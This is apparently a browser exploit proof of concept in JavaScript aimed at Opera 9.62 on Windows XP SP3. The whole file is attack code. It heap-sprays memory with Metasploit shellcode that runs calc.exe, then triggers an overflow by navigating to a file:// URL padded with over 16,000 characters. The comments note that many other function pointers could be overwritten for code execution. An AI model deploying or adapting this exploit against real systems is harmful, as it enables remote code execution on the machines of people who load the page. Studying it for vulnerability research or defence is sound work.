	// tested on Windows XP SP3, opera 9.62 international version
	// vulnerability found by send9

	// there are many ways to achieve code execution, tons of function pointers to overwrite.
	// maybe there's one more reliable...

	var i=0;
	
	// push es, pop es
	var block = unescape(&quot;%u0607%u0607&quot;); 

	// metasploit WinExec c:\WINDOWS\system32\calc.exe
	var shellcode = unescape(&quot;%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100&quot;);

	while (block.length &lt; 81920) block += block;
	var memory = new Array();
	for (;i&lt;1000;i++) memory[i] += (block + shellcode);


	var evil = &quot;file://&quot;;

        for(var i = 0; i&lt;16438; i++)
                evil += &quot;X&quot;;

	evil += &quot;R.&quot;; 

	window.location.replace(evil);
